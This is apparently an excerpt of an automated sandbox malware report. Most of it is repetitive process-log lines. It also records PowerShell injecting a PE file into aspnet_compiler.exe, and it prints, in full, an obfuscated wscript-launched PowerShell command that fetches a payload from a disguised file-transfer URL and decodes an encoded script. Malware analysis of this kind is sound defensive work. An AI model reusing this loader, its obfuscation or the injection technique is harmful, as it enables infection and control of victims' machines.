Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6828Thread sleep time: -5534023222112862s >= -30000sJump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 5516Thread sleep time: -10145709240540247s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3880Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 5544Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeWindow / User API: threadDelayed 7301
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeWindow / User API: threadDelayed 2028
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeWindow / User API: foregroundWindowGot 559
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeWindow / User API: foregroundWindowGot 630
Source: C:\Windows\System32\wscript.exeWindow found: window name: WSH-TimerJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeThread delayed: delay time: 922337203685477
Source: ModuleAnalysisCache.4.drBinary or memory string: Remove-NetEventVmNetworkAdapter
Source: ModuleAnalysisCache.4.drBinary or memory string: Add-NetEventVmNetworkAdapter
Source: ModuleAnalysisCache.4.drBinary or memory string: Get-NetEventVmNetworkAdapter
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeProcess token adjusted: Debug
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeMemory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion:

barindex
Writes to foreign memory regionsShow sources
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 400000Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 402000Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 420000Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 422000Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 992008Jump to behavior
Injects a PE file into a foreign processesShow sources
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 400000 value starts with: 4D5AJump to behavior
Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' $SZXDCFVGBHNJSDFGH = 'https://transferH-Hsh/KgBbue/cxderfH-Htxt'.Replace('H-H','.');$SOS='%!-X-!5-X-!!-X-5%-X-!*-X-!7-X-!8-X-!e-X-!a-X-!d-X-!b-X-!!-X-!5-X-!*-X-!7-X-!8-X-!a-X-%0-X-3d-X-%0-X-%7-X-*e-X-!5-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-!5-X-*%-X-!3-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-5!-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%7-X-%c-X-%7-X-7!-X-%e-X-57-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%7-X-%c-X-%7-X-*c-X-!9-X-!5-X-!e-X-%7-X-%9-X-3b-X-0a-X-%!-X-53-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!e-X-!a-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!a-X-!b-X-%0-X-3d-X-%0-X-%7-X-!!-X-!f-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-*1-X-!!-X-53-X-5!-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-!7-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%7-X-%c-X-%7-X-57-X-*e-X-!c-X-*f-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-%7-X-%c-X-%7-X-7%-X-!9-X-*e-X-%7-X-%9-X-3b-X-0a-X-%!-X-53-X-57-X-58-X-!!-X-!5-X-!3-X-5%-X-!*-X-!7-X-59-X-!8-X-55-X-!a-X-!9-X-53-X-!!-X-!*-X-5*-X-!7-X-!8-X-!a-X-%0-X-3d-X-%7-X-!9-X-*0-X-!5-X-58-X-%8-X-*e-X-*0-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-*0-X-*3-X-*0-X-5!-X-%0-X-%!-X-!5-X-!!-X-5%-X-!*-X-!7-X-!8-X-!e-X-!a-X-!d-X-!b-X-!!-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-!7-X-!%-X-!8-X-!e-X-!a-X-53-X-!!-X-!*-X-!7-X-!8-X-%9-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%7-X-%c-X-%7-X-*5-X-*0-X-57-X-*0-X-%d-X-!f-X-*%-X-*a-X-*0-X-!5-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-%7-X-%c-X-%7-X-!5-X-!*-X-!7-X-!8-X-!a-X-%9-X-%e-X-%!-X-53-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!e-X-!a-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!a-X-!b-X-%8-X-%!-X-53-X-5a-X-58-X-!!-X-!3-X-!*-X-5*-X-%7-X-%9-X-3b-X-0a-X-%*-X-%8-X-%7-X-!9-X-%7-X-%b-X-%7-X-!5-X-58-X-%7-X-%9-X-%8-X-%!-X-53-X-57-X-58-X-!!-X-!5-X-!3-X-5%-X-!*-X-!7-X-59-X-!8-X-55-X-!a-X-!9-X-53-X-!!-X-!*-X-5*-X-!7-X-!8-X-!a-X-%0-X-%d-X-!a-X-*f-X-*9-X-*e-X-%0-X-%7-X-%7-X-%9-X-7c-X-%*-X-%8-X-%7-X-!9-X-%7-X-%b-X-%7-X-!5-X-58-X-%7-X-%9-X-3b'.Replace('%','2').Replace('!','4').Replace('
Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' $SZXDCFVGBHNJSDFGH = 'https://transferH-Hsh/KgBbue/cxderfH-Htxt'.Replace('H-H','.');$SOS='%!-X-!5-X-!!-X-5%-X-!*-X-!7-X-!8-X-!e-X-!a-X-!d-X-!b-X-!!-X-!5-X-!*-X-!7-X-!8-X-!a-X-%0-X-3d-X-%0-X-%7-X-*e-X-!5-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-!5-X-*%-X-!3-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-5!-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%7-X-%c-X-%7-X-7!-X-%e-X-57-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%7-X-%c-X-%7-X-*c-X-!9-X-!5-X-!e-X-%7-X-%9-X-3b-X-0a-X-%!-X-53-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!e-X-!a-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!a-X-!b-X-%0-X-3d-X-%0-X-%7-X-!!-X-!f-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-*1-X-!!-X-53-X-5!-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-!7-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%7-X-%c-X-%7-X-57-X-*e-X-!c-X-*f-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-%7-X-%c-X-%7-X-7%-X-!9-X-*e-X-%7-X-%9-X-3b-X-0a-X-%!-X-53-X-57-X-58-X-!!-X-!5-X-!3-X-5%-X-!*-X-!7-X-59-X-!8-X-55-X-!a-X-!9-X-53-X-!!-X-!*-X-5*-X-!7-X-!8-X-!a-X-%0-X-3d-X-%7-X-!9-X-*0-X-!5-X-58-X-%8-X-*e-X-*0-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-*0-X-*3-X-*0-X-5!-X-%0-X-%!-X-!5-X-!!-X-5%-X-!*-X-!7-X-!8-X-!e-X-!a-X-!d-X-!b-X-!!-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-!7-X-!%-X-